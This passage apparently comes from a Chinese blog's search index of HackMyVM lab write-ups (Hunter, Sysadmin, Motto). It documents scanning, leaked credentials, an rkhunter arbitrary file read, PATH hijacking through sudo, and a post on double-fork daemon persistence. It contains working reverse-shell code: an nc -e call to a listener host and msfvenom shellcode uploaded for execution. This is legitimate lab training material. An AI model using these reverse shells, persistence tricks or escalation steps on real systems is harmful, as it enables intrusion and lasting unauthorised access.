SF:\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-Type:\\x20text/plain;\\x20charset SF:=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x20Bad\\x20Request\")%r(SSLSess SF:ionReq,67,\"HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-Type:\\x20text/ SF:plain;\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x20Bad\\x20Re SF:quest\")%r(LPDString,67,\"HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-T SF:ype:\\x20text/plain;\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400 SF:\\x20Bad\\x20Request\")%r(SIPOptions,67,\"HTTP/1\\.1\\x20400\\x20Bad\\x20Reques SF:t\\r\\nContent-Type:\\x20text/plain;\\x20charset=utf-8\\r\\nConnection:\\x20cl SF:ose\\r\\n\\r\\n400\\x20Bad\\x20Request\")%r(OfficeScan,A3,\"HTTP/1\\.1\\x20400\\x2 SF:0Bad\\x20Request:\\x20missing\\x20required\\x20Host\\x20header\\r\\nContent-Ty SF:pe:\\x20text/plain;\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\ SF:x20Bad\\x20Request:\\x20missing\\x20required\\x20Host\\x20header\"); MAC Address: 08:00:27:5E:55:41 (Oracle VirtualBox virtual NIC) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 28.27 seconds 22 端口开放的ssh服务 8080 端口开放的http服务，版本是Golang net / http server 存在robots.txt，内容：/","date":"2026-04-26","heading":"端口扫描","objectID":"/p/hunter/:1:1","tags":["HackMyVM","Easy"],"title":"Hunter","uri":"/p/hunter/#端口扫描"},{"categories":["靶机复盘"],"collections":null,"content":"web 枚举 root@kali:/tmp/123# dirsearch -u http://192.168.56.104:8080/ /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /tmp/123/reports/http_192.168.56.104_8080/__26-04-26_01-22-53.txt Target: http://192.168.56.104:8080/ [01:22:53] Starting: [01:22:53] 301 - 57B - /%2e%2e//google.com -\u003e /%252E%252E/google.com [01:23:03] 200 - 13B - /admin [01:23:14] 301 - 54B - /axis//happyaxis.jsp -\u003e /axis/happyaxis.jsp [01:23:14] 301 - 65B - /axis2//axis2-web/HappyAxis.jsp -\u003e /axis2/axis2-web/HappyAxis.jsp [01:23:14] 301 - 59B - /axis2-web//HappyAxis.jsp -\u003e /axis2-web/HappyAxis.jsp [01:23:17] 301 - 87B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js -\u003e /Citrix/AccessPlatform/auth/clientscripts/cookies.js [01:23:24] 301 - 74B - /engine/classes/swfupload//swfupload.swf -\u003e /engine/classes/swfupload/swfupload.swf [01:23:24] 301 - 77B - /engine/classes/swfupload//swfupload_f9.swf -\u003e /engine/classes/swfupload/swfupload_f9.swf [01:23:25] 301 - 62B - /extjs/resources//charts.swf -\u003e /extjs/resources/charts.swf [01:23:29] 301 - 72B - /html/js/misc/swfupload//swfupload.swf -\u003e /html/js/misc/swfupload/swfupload.swf [01:23:49] 200 - 31B - /robots.txt 状态码为 200： /admin /robots.txt ","date":"2026-04-26","heading":"web 枚举","objectID":"/p/hunter/:1:2","tags":["HackMyVM","Easy"],"title":"Hunter","uri":"/p/hunter/#web-枚举"},{"categories":["靶机复盘"],"collections":null,"content":"web 应用的初始分析 root@kali:/tmp/123# curl -v http://192.168.56.104:8080/ * Trying 192.168.56.104:8080... * Established connection to 192.168.56.104 (192.168.56.104 port 8080) from 192.168.56.101 port 53542 * using HTTP/1.x \u003e GET / HTTP/1.1 \u003e Host: 192.168.56.104:8080 \u003e User-Agent: curl/8.18.0 \u003e Accept: */* \u003e * Request completely sent off \u003c HTTP/1.1 200 OK \u003c Date: Sun, 26 Apr 2026 05:58:13 GMT \u003c Content-Length: 21 \u003c Content-Type: text/plain; charset=utf-8 \u003c Yes, thats a CTF :_( * Connection #0 to host 192.168.56.104:8080 left intact 提示：这是一个CTF题目 root@kali:/tmp/123# curl -v http://192.168.56.104:8080/admin * Trying 192.168.56.104:8080... * Established connection to 192.168.56.104 (192.168.56.104 port 8080) from 192.168.56.101 port 48660 * using HTTP/1.x \u003e GET /admin HTTP/1.1 \u003e Host: 192.168.56.104:8080 \u003e User-Agent: curl/8.18.0 \u003e Accept: */* \u003e * Request completely sent off \u003c HTTP/1.1 200 OK \u003c Date: Sun, 26 Apr 2026 05:58:09 GMT \u003c Content-Length: 13 \u003c Content-Type: text/plain; charset=utf-8 \u003c Invalid JWT. * Connection #0 to host 192.168.56.104:8080 left intact 错误的JWT，从回显内容可以看出，只有正确的jwt才能获得admin的隐藏信息。 现在的问题是：并不知道jwt中payload主要包含的信息，导致我不确定到底使用哪种jwt攻击方式。 查看noneofyour的wp，发现修改为POST方法，http://192.168.56.104会多回显一个http响应头：X-Secret-Creds: hunterman:thisisnitriilcisi，22端口开启，猜测这可能是ssh连接的凭证。 ","date":"2026-04-26","heading":"web 应用的初始分析","objectID":"/p/hunter/:1:3","tags":["HackMyVM","Easy"],"title":"Hunter","uri":"/p/hunter/#web-应用的初始分析"},{"categories":["靶机复盘"],"collections":null,"content":"初始访问 root@kali:/tmp/123# ssh hunterman@192.168.56.104 -p 22 The authenticity of host '192.168.56.104 (192.168.56.104)' can't be established. ED25519 key fingerprint is: SHA256:jt60cn6NFWsntzAw3UWEiADbNwlaTaBzCCwz5mqAh4M This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.56.104' (ED25519) to the list of known hosts. hunterman@192.168.56.104's password: Welcome to Alpine! The Alpine Wiki contains a large amount of how-to guides and general information about administrating Alpine systems. See . You can setup the system with the command: setup-alpine You may change this message by editing /etc/motd. hunter:~$ id uid=1000(hunterman) gid=1000(hunterman) groups=1000(hunterman) ","date":"2026-04-26","heading":"初始访问","objectID":"/p/hunter/:2:0","tags":["HackMyVM","Easy"],"title":"Hunter","uri":"/p/hunter/#初始访问"},{"categories":["靶机复盘"],"collections":null,"content":"系统信息枚举 hunter:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin klogd:x:100:101:klogd:/dev/null:/sbin/nologin hunterman:x:1000:1000::/home/hunterman:/bin/sh huntergirl:x:1001:1001::/home/huntergirl:/bin/sh 存在三个用户： root hunterman huntergirl hunter:~$ sudo -l [sudo] password for hunterman: Sorry, user hunterman may not run sudo on hunter. 发现 root 用户并没有给 hunterman 配 任何 sudo 权限。 hunter:~$ find / -perm -4000 -type f -exec ls -al {} \\; 2\u003e/dev/null ---s--x--x 1 root root 14224 Aug 5 2025 /bin/bbsuid -rwsr-xr-x 1 root root 199632 Jul 26 2025 /usr/bin/sudo 没有发现有用的suid位。 hunter:~$ netstat -tuln Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 :::22 :::* LISTEN tcp 0 0 :::8080 :::* LISTEN 本地开启的服务也只有 22 8080。 系统并没有 getcap 命令所以无法查看 capablities 能力位。 已知的提权方法都无用，猜测线索可能在huntergirl用户上，寻找huntergirl的登陆凭据。 在/var/www/html/robots.txt 发现了 huntergirl 的登陆凭据，登陆hunter： hunter:/var/www/html$ su huntergirl Password: /var/www/html $ sudo -l Matching Defaults entries for huntergirl on hunter: secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin Runas and Command-specific defaults for huntergirl: Defaults!/usr/sbin/visudo env_keep+=\"SUDO_EDITOR EDITOR VISUAL\" User huntergirl may run the following commands on hunter: (root) NOPASSWD: /usr/local/bin/rkhunter 发现huntergirl可以不密码以root权限执行rkhunter命令。 查看参数： /var/www/html $ sudo /usr/local/bin/rkhunter --help Usage: rkhunter {--check | --unlock | --update | --versioncheck | --propupd [{filename | directory | package name},...] | --list [{tests | {lang | languages} | rootkits | perl | propfiles}] | --config-check | --version | --help} [options] Current options are: --append-log Append to the logfile, do not overwrite --bindir ... Use the specified command directories -c, --check Check the local system -C, --config-check Check the configuration file(s), then exit --cs2, --color-set2 Use the second color set for output --configfile Use the specified configuration file --cronjob Run as a cron job (implies -c, --sk and --nocolors options) --dbdir Use the specified database directory --debug Debug mode (Do not use unless asked to do so) --disable [,...] Disable specific tests (Default is to disable no tests) --display-logfile Display the logfile at the end --enable [,...] Enable specific tests (Default is to enable all tests) --hash {MD5 | SHA1 | SHA224 | SHA256 | SHA384 | SHA512 | NONE | } Use the specified file hash function (Default is SHA256) -h, --help Display this help menu, then exit --lang, --language Specify the language to use (Default is English) --list [tests | languages | List the available test names, languages, rootkits | perl | rootkit names, perl module status propfiles] or file properties database, then exit -l, --logfile [file] Write to a logfile (Default is /var/log/rkhunter.log) --noappend-log Do not append to the logfile, overwrite it --nocf Do not use the configuration file entries for disabled tests (only valid with --disable) --nocolors Use black and white output --nolog Do not write to a logfile --nomow, --no-mail-on-warning Do not send a message if warnings occur --ns, --nosummary Do not show the summary of check results --novl, --no-verbose-logging No verbose logging --pkgmgr {RPM | DPKG | BSD | Use the specified package ","date":"2026-04-26","heading":"系统信息枚举","objectID":"/p/hunter/:3:0","tags":["HackMyVM","Easy"],"title":"Hunter","uri":"/p/hunter/#系统信息枚举"},{"categories":["靶机复盘"],"collections":null,"content":"权限提升 /var/www/html $ sudo /usr/local/bin/rkhunter -C --configfile /root/root.txt Invalid SCRIPTDIR configuration option: No filename given, but it must exist. Invalid INSTALLDIR configuration option - no installation directory specified. The default logfile will be used: /var/log/rkhunter.log Invalid TMPDIR configuration option: No filename given, but it must exist. Invalid DBDIR configuration option: No filename given, but it must exist. The internationalisation directory does not exist: /i18n grep: bad regex ' HMV{FhOpuXDUlZFhOpuXDUlZ} ': Invalid contents of {} Unknown configuration file option: HMV{FhOpuXDUlZFhOpuXDUlZ} ","date":"2026-04-26","heading":"权限提升","objectID":"/p/hunter/:4:0","tags":["HackMyVM","Easy"],"title":"Hunter","uri":"/p/hunter/#权限提升"},{"categories":["靶机复盘"],"collections":null,"content":"攻击链总结 端口扫描发现目标仅开放 22/tcp 和 8080/tcp，指纹识别发现web 服务存在robots.txt 文件，其中给出了/admin路径，访问/admin时，页面显示invalid jwt，但进一步没有直接的利用价值 继续对Web应用做交互测试后发现，请求方式换为post方法后，服务端会在HTTP响应头中泄露凭据：X-Secret-Creds: hunterman:thisisnitriilcisi。利用这组凭据可通过SSH登陆目标主机，获得hunterman用户的初始shell。 以 huntergirl 身份进行本地枚举，未发现可直接利用的sudo权限或明显有效的SUID 提权点；随后在系统中发现另一个用户 huntergirl，并在本地Web目录的robots.txt 文件中找到其登陆凭据，成功切换到 huntergirl 用户。 以 huntergirl 身份执行sudo -l，发现该用户可无密码以 root 身份运行 /usr/local/bin/rkhunter。进一步查看帮助信息可知，该程序支持 -C 与 --configfile 参数，可加载指定配置文件，并对其进行检查。 利用sudo /usr/local/bin/rkhunter -C --configfile /root/root.txt，将目标文件作为配置文件解析。由于 rkhunter 会在解析失败时报错并回显异常内容，从而实现任意文件读取，最终读取到/root/root.txt, 完成提权目标验证。 ","date":"2026-04-26","heading":"攻击链总结","objectID":"/p/hunter/:5:0","tags":["HackMyVM","Easy"],"title":"Hunter","uri":"/p/hunter/#攻击链总结"},{"categories":["靶机复盘"],"collections":null,"content":"Sysadmin 靶机中用到的 C 语言守护进程持久化技巧","date":"2026-04-26","objectID":"/p/sysadmin-c-daemon-persistence/","tags":["HackMyVM","Easy"],"title":"C 语言守护进程持久化连接","uri":"/p/sysadmin-c-daemon-persistence/"},{"categories":["靶机复盘"],"collections":null,"content":"fork fork() 用来创建一个子进程 调用一次，返回两次： 在父进程里返回：子进程的 PID 在子进程里返回：0 失败返回：-1 你可以把它理解成： 原来只有 1 个进程 调用 fork() 后，变成 父进程 + 子进程 两边都会从 fork() 后面那一行继续往下执行 fork 正常的用途： 父进程继续做自己的事 子进程去做另一件事 很多服务端程序、守护进程、shell 都会这样干 fork 非正常用途： 场景：程序运行后立马删除，为了持久化连接，使用守护进程技术（双分支 + setsid）成功实现持久连接： int fork(void); int system(const char *command); void _exit(int status); int setsid(void); int main(void){ // int pid = fork(); if (pid != 0) return 0; setsid(); pid = fork(); if (pid != 0) _exit(0); // // 这部分为守护进程持久化代码的核心 return system(\"nc 192.168.174.130 39666 -e /bin/zsh\"); } 疑问回答：为什么第二个if用_exit(0)，而不用return 0退出？ 先只理解 fork() 做了什么 fork() 会复制出一个新进程。 复制出来以后： 父进程继续跑 子进程也从同一个地方继续跑 子进程会继承父进程当前很多“内存里的状态” 这里的“状态”里，就包括： printf 还没真正写出去的内容（缓冲区） atexit(\u0026hellip;) 登记过的“退出时要做的事” 什么叫“缓冲区被继承” 看这个例子： printf(\"hello\"); fork(); exit(0); 注意：\u0026ldquo;hello\u0026rdquo; 后面没有换行，所以它可能还只是放在内存缓冲区里，还没真正显示出来。 如果这时 fork()： 父进程内存里有一份 \u0026ldquo;hello\u0026rdquo; 子进程也复制到一份 \u0026ldquo;hello\u0026rdquo; 然后父子都 exit(0)： 父进程刷一次缓冲区，输出一个 hello 子进程也刷一次缓冲区，又输出一个 hello 结果你可能看到： hellohello 这就是“重复刷新”。 atexit 也类似 比如程序里提前登记了： atexit(cleanup); 那么正常 exit(0) 时会执行 cleanup()。 fork() 之后，子进程也继承了这个登记。 如果子进程这时也走 exit(0)，那么： 父进程退出时执行一次 cleanup 子进程退出时也执行一次 cleanup 但这个清理动作本来可能只想让原进程做一次。 子进程再做一遍，可能就不合适。 所以 _exit(0) 的作用是什么 _exit(0) 不会去： 刷新 stdio 缓冲区 调用 atexit 回调 它就是： 这个子进程任务结束 直接内核级退出 不碰那些“继承来的收尾工作” 所以在 fork() 之后，如果某个子进程只是个“临时中间进程”，通常就用 _exit(0)。 放回你这段代码里理解 第二次 fork() 后： pid = fork(); if (pid != 0) _exit(0); 这里 pid != 0 的这个进程，是“第二次 fork 的父进程”，也就是那个中间子进程。 它的作用只是： 帮你再 fork 一次 然后自己赶紧退出 既然它只是个“过渡角色”，就不应该再做完整的用户态清理，所以用 _exit(0)。 #终端1： warn@kali:/tmp/123$ gcc shell.c -o shell #编译 #终端2： warn@kali:~$ nc -lvnp 39666 listening on [any] 39666 ... #监听 #终端1 warn@kali:/tmp/123$ ./shell #终端2： warn@kali:~$ nc -lvnp 39666 listening on [any] 39666 ... connect to [192.168.174.130] from (UNKNOWN) [192.168.174.130] 59510 id uid=1000(warn) gid=1000(warn) groups=1000(warn),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),103(scanner),116(bluetooth),121(lpadmin),124(wireshark),132(kaboxer) echo $SHELL /usr/bin/zsh 这可能还不能体现出上面稳定的功能： # 终端1 warn@kali:/tmp/123$ cat shell.sh #!/bin/zsh ./shell rm -rf ./shell # 终端2 warn@kali:~$ nc -lvnp 39666 listening on [any] 39666 ... # 终端1 warn@kali:/tmp/123$ zsh shell.sh warn@kali:/tmp/123$ ls -al total 8 drwxrwxr-x 2 warn warn 80 Apr 26 10:55 . drwxrwxrwt 13 root root 320 Apr 26 10:49 .. -rw-rw-r-- 1 warn warn 279 Apr 26 10:49 shell.c -rw-rw-r-- 1 warn warn 36 Apr 26 10:55 shell.sh warn@kali:/tmp/123$ ps -aux | grep shell warn 3444 0.0 0.0 2428 732 ? S 10:55 0:00 ./shell warn 3711 0.0 0.0 9628 2380 pts/0 S+ 11:02 0:00 grep --color=auto shell # 终端2 warn@kali:~$ nc -lvnp 39666 listening on [any] 39666 ... connect to [192.168.174.130] from (UNKNOWN) [192.168.174.130] 35824 id uid=1000(warn) gid=1000(warn) groups=1000(warn),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),103(scanner),116(bluetooth),121(lpadmin),124(wireshark),132(kaboxer) 从这一步可以看到，即使执行完./shell 并删除后，进程里面依然存在./shell进程，连接还存在。 ","date":"2026-04-26","heading":"fork","objectID":"/p/sysadmin-c-daemon-persistence/:1:0","tags":["HackMyVM","Easy"],"title":"C 语言守护进程持久化连接","uri":"/p/sysadmin-c-daemon-persistence/#fork"},{"categories":["靶机复盘"],"collections":null,"content":"HackMyVM 靶机 Sysadmin 的渗透测试与提权记录","date":"2026-04-24","objectID":"/p/sysadmin/","tags":["HackMyVM","Easy"],"title":"Sysadmin","uri":"/p/sysadmin/"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 ","date":"2026-04-24","heading":"信息收集","objectID":"/p/sysadmin/:1:0","tags":["HackMyVM","Easy"],"title":"Sysadmin","uri":"/p/sysadmin/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"端口扫描 root@kali:/tmp/123# nmap 192.168.56.210 -p- Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-23 08:26 -0400 Nmap scan report for 192.168.56.210 Host is up (0.00055s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:8F:60:49 (Oracle VirtualBox virtual NIC) root@kali:/tmp/123# nmap 192.168.56.210 -p 22,80 -sC -sV Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-23 08:28 -0400 Nmap scan report for 192.168.56.210 Host is up (0.0015s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-server-header: Apache/2.4.62 (Debian) |_http-title: C Code Upload MAC Address: 08:00:27:8F:60:49 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.33 seconds ","date":"2026-04-24","heading":"端口扫描","objectID":"/p/sysadmin/:1:1","tags":["HackMyVM","Easy"],"title":"Sysadmin","uri":"/p/sysadmin/#端口扫描"},{"categories":["靶机复盘"],"collections":null,"content":"web应用分析 c 代码上传平台，上传你的 .c 代码用于编译和运行，提示：你编译的二进制文件在执行后会被立即删除。 查看源码发现：. gcc -std=c11 -nostdinc -I/var/www/include -z execstack -fno-stack-protector -no-pie test.c -o a.out -std=c11 使用C11标准编译 -nostdinc 不使用默认的标准头文件路径 -I/var/www/include 手动指定头文件搜索目录 -z execstack 允许栈上执行指令 -fno-stack-protector 关闭栈保护 -no-pie 关闭地址随机化 ","date":"2026-04-24","heading":"web应用分析","objectID":"/p/sysadmin/:1:2","tags":["HackMyVM","Easy"],"title":"Sysadmin","uri":"/p/sysadmin/#web应用分析"},{"categories":["靶机复盘"],"collections":null,"content":"验证上传漏洞 从信息收集的指纹识别可以看到是linux系统，从源码中的注释，得知允许栈上执行指令，所以可以直接通过msfvenom生成linux系统的反弹shell。 msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.56.101 LPORT=39666 -f c -p 选择payload LHOST 指定要回连的目标IP LPORT 指定要会连的目标端口 -f 输出格式 生成一段用于linux反弹shell的shellcode，可以嵌入C代码中。 int main(){ unsigned char buf[] = \"\\x6a\\x29\\x58\\x99\\x6a\\x02\\x5f\\x6a\\x01\\x5e\\x0f\\x05\\x48\\x97\" \"\\x48\\xb9\\x02\\x00\\x9a\\xf2\\xc0\\xa8\\x38\\x65\\x51\\x48\\x89\\xe6\" \"\\x6a\\x10\\x5a\\x6a\\x2a\\x58\\x0f\\x05\\x6a\\x03\\x5e\\x48\\xff\\xce\" \"\\x6a\\x21\\x58\\x0f\\x05\\x75\\xf6\\x6a\\x3b\\x58\\x99\\x48\\xbb\\x2f\" \"\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\\x53\\x48\\x89\\xe7\\x52\\x57\\x48\" \"\\x89\\xe6\\x0f\\x05\"; ((void(*)())buf)(); return 0; } void(*)() 表示 一个 函数指针类型 (void(*)())buf 表示把 buf 这个字节数组的地址强制转换为函数指针 ((void(*)())buf)() 表示调用这个函数指针 从第一个字节开始执行机器码 root@kali:~# nc -lnvp 39666 listening on [any] 39666 ... # 终端1 root@kali:/tmp/123# curl -i -F \"src=@test.c;filename=test.c\" http://192.168.56.210:80/ # 终端2 确实存在上传漏洞，但是连接不稳定。 ","date":"2026-04-24","heading":"验证上传漏洞","objectID":"/p/sysadmin/:2:0","tags":["HackMyVM","Easy"],"title":"Sysadmin","uri":"/p/sysadmin/#验证上传漏洞"},{"categories":["靶机复盘"],"collections":null,"content":"优化反向shell int main(){ int pid = fork(); if (pid != 0) return 0; // 让程序不再占着原来的前端执行流。 setsid(); // 让当前子进程创建新会话，脱离原控制终端 pid = fork(); if (pid != 0) _exit(0);// 进一步避免重新关联控制终端，让后台运行更独立。 unsigned char buf[] = \"\\x6a\\x29\\x58\\x99\\x6a\\x02\\x5f\\x6a\\x01\\x5e\\x0f\\x05\\x48\\x97\" \"\\x48\\xb9\\x02\\x00\\x9a\\xf2\\xc0\\xa8\\x38\\x65\\x51\\x48\\x89\\xe6\" \"\\x6a\\x10\\x5a\\x6a\\x2a\\x58\\x0f\\x05\\x6a\\x03\\x5e\\x48\\xff\\xce\" \"\\x6a\\x21\\x58\\x0f\\x05\\x75\\xf6\\x6a\\x3b\\x58\\x99\\x48\\xbb\\x2f\" \"\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\\x53\\x48\\x89\\xe7\\x52\\x57\\x48\" \"\\x89\\xe6\\x0f\\x05\"; ((void(*)())buf)(); return 0; } 上传该脚本，并在另一个终端监听39666端口： root@kali:~# nc -lnvp 39666 listening on [any] 39666 ... connect to [192.168.56.101] from (UNKNOWN) [192.168.56.210] 50290 id uid=1000(echo) gid=1000(echo) groups=1000(echo) whereis python python: /usr/bin/python3.9-config /usr/bin/python3.9 /usr/lib/python2.7 /usr/lib/python3.9 /etc/python3.7 /etc/python3.9 /usr/local/lib/python3.9 /usr/include/python3.9 script -qc /bin/bash /dev/null echo@Sysadmin:/home/echo$ ^Z zsh: suspended nc -lnvp 39666 root@kali:~# stty raw -echo;fg [1] + continued nc -lnvp 39666 reset reset: unknown terminal type unknown Terminal type? xterm echo@Sysadmin:/home/echo$ export TERM=xterm-256color echo@Sysadmin:/home/echo$ echo $SHELL /bin/bash echo@Sysadmin:/home/echo$ source ~/.bashrc echo@Sysadmin:/home/echo$ stty size 24 80 echo@Sysadmin:/home/echo$ stty rows 38 columns 88 # 原终端 行 38 列 88 ，这不是凭空出来的。 ","date":"2026-04-24","heading":"优化反向shell","objectID":"/p/sysadmin/:3:0","tags":["HackMyVM","Easy"],"title":"Sysadmin","uri":"/p/sysadmin/#优化反向shell"},{"categories":["靶机复盘"],"collections":null,"content":"纵向移动 ","date":"2026-04-24","heading":"纵向移动","objectID":"/p/sysadmin/:4:0","tags":["HackMyVM","Easy"],"title":"Sysadmin","uri":"/p/sysadmin/#纵向移动"},{"categories":["靶机复盘"],"collections":null,"content":"系统信息枚举 echo@Sysadmin:/home/echo$ sudo -l Matching Defaults entries for echo on Sysadmin: !env_reset, mail_badpass, !env_reset, always_set_home User echo may run the following commands on Sysadmin: (root) NOPASSWD: /usr/local/bin/system-info.sh 我们可以不用密码，以root权限执行/usr/local/bin/system-info.sh。 !env_reset 不重置环境变量 mail_badpass 当密码输入错误时，将警告发送到管理员的邮件上 always_set_home suod执行目标命令时，把HOME设置为目标用户的家目录。 查看/usr/local/bin/system-info.sh: echo@Sysadmin:/home/echo$ cat /usr/local/bin/system-info.sh #!/bin/bash #=================================== # Daily System Info Report #=================================== echo \"Starting daily system information collection at $(date)\" echo \"------------------------------------------------------\" echo \"Checking disk usage...\" df -h echo \"Checking log directory...\" ls -lh /var/log/ find /var/log/ -type f -name \"*.gz\" -mtime +30 -exec rm {} \\; echo \"Checking critical services...\" systemctl is-active sshd systemctl is-active cron echo \"Collecting CPU and memory information...\" cat /proc/cpuinfo free -m echo \"------------------------------------------------------\" echo \"Report complete at $(date)\" 在通过sudo执行命令时，不重置环境变量，查看system-info.sh，发现命令用的都是相对路径，我们可以劫持PATH环境变量，执行恶意的命令。 ","date":"2026-04-24","heading":"系统信息枚举","objectID":"/p/sysadmin/:4:1","tags":["HackMyVM","Easy"],"title":"Sysadmin","uri":"/p/sysadmin/#系统信息枚举"},{"categories":["靶机复盘"],"collections":null,"content":"权限提升 echo@Sysadmin:/tmp$ vim free #!/bin/bash bash -i echo@Sysadmin:/tmp$ chmod +x free echo@Sysadmin:/tmp$ echo $PATH /usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:. echo@Sysadmin:/tmp$ export PATH=/tmp:${PATH} echo@Sysadmin:/tmp$ echo $PATH /tmp:/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:. echo@Sysadmin:/tmp$ sudo /usr/local/bin/system-info.sh root@Sysadmin:/tmp# id uid=0(root) gid=0(root) groups=0(root) ","date":"2026-04-24","heading":"权限提升","objectID":"/p/sysadmin/:4:2","tags":["HackMyVM","Easy"],"title":"Sysadmin","uri":"/p/sysadmin/#权限提升"},{"categories":["靶机复盘"],"collections":null,"content":"获取flag root@Sysadmin:/tmp# cat ~/* flag{root-8b8a8b353298f[hidden] root@Sysadmin:/tmp# cat /home/echo/user.txt flag{user-9592f6e02a7ab[hidden] ","date":"2026-04-24","heading":"获取flag","objectID":"/p/sysadmin/:5:0","tags":["HackMyVM","Easy"],"title":"Sysadmin","uri":"/p/sysadmin/#获取flag"},{"categories":["靶机复盘"],"collections":null,"content":"攻击链总结 信息收集阶段使用nmap枚举目录，发现仅开放22/tcp和80/tcp，其中80端口对应一个可上传.c文件的web页面。 对Web功能进行分析后确认：该页面会将上传的C代码在目标机上编译并执行执行结束后再删除生成的二进制文件。这说明攻击者可以借助该功能在目标主机上实现任意本地代码执行。 结合页面暴露的编译参数可知，目标程序在较弱保护条件下被编译，降低了直接执行自定义代码的门槛。利用这一点成功获得了echo用户权限的shell。 初始shell可用性较差，因此后续通过会话后台化与TTY升级手段，将其整理为更稳定、可交互的shell环境，便于继续进行本地枚举。 枚举sudo权限时发现，用户echo可以以root身份无密码执行/usr/local/bin/system-info.sh。进一步审计该脚本后发现，其内部调用了多个未使用绝对路径的系统命令。 同时，sudo 配置中存在 !env_reset , 说明执行该脚本时环境变量不会被完全重置，因此可以通过影响PATH 的方法劫持脚本调用的命令。 最终，借助NOPASSWD sudo 权限、可控环境变量以及脚本相对命令调用这三点，成功将命令执行劫持到自定义程序，从echo提升root，并读取用户与root的flag。 ","date":"2026-04-24","heading":"攻击链总结","objectID":"/p/sysadmin/:6:0","tags":["HackMyVM","Easy"],"title":"Sysadmin","uri":"/p/sysadmin/#攻击链总结"},{"categories":["靶机复盘"],"collections":null,"content":"HackMyVM 靶机 Motto 的渗透测试与提权记录","date":"2026-04-13","objectID":"/p/motto/","tags":["HackMyVM","Easy"],"title":"Motto","uri":"/p/motto/"},{"categories":["靶机复盘"],"collections":null,"content":" 靶机名称 作者 难度 平台 Motto Yliken easy HackmyVM ","date":"2026-04-13","heading":"","objectID":"/p/motto/:0:0","tags":["HackMyVM","Easy"],"title":"Motto","uri":"/p/motto/#"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 ","date":"2026-04-13","heading":"信息收集","objectID":"/p/motto/:1:0","tags":["HackMyVM","Easy"],"title":"Motto","uri":"/p/motto/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"端口扫描 warn@kali:~$ nmap 192.168.56.151 -Pn -v -sT Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-13 15:49 CST Initiating Parallel DNS resolution of 1 host. at 15:49 Completed Parallel DNS resolution of 1 host. at 15:49, 13.00s elapsed Initiating Connect Scan at 15:49 Scanning 192.168.56.151 [1000 ports] Discovered open port 80/tcp on 192.168.56.151 Discovered open port 22/tcp on 192.168.56.151 Discovered open port 9090/tcp on 192.168.56.151 Completed Connect Scan at 15:49, 10.74s elapsed (1000 total ports) Nmap scan report for 192.168.56.151 Host is up (0.0055s latency). Not shown: 997 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 9090/tcp open zeus-admin 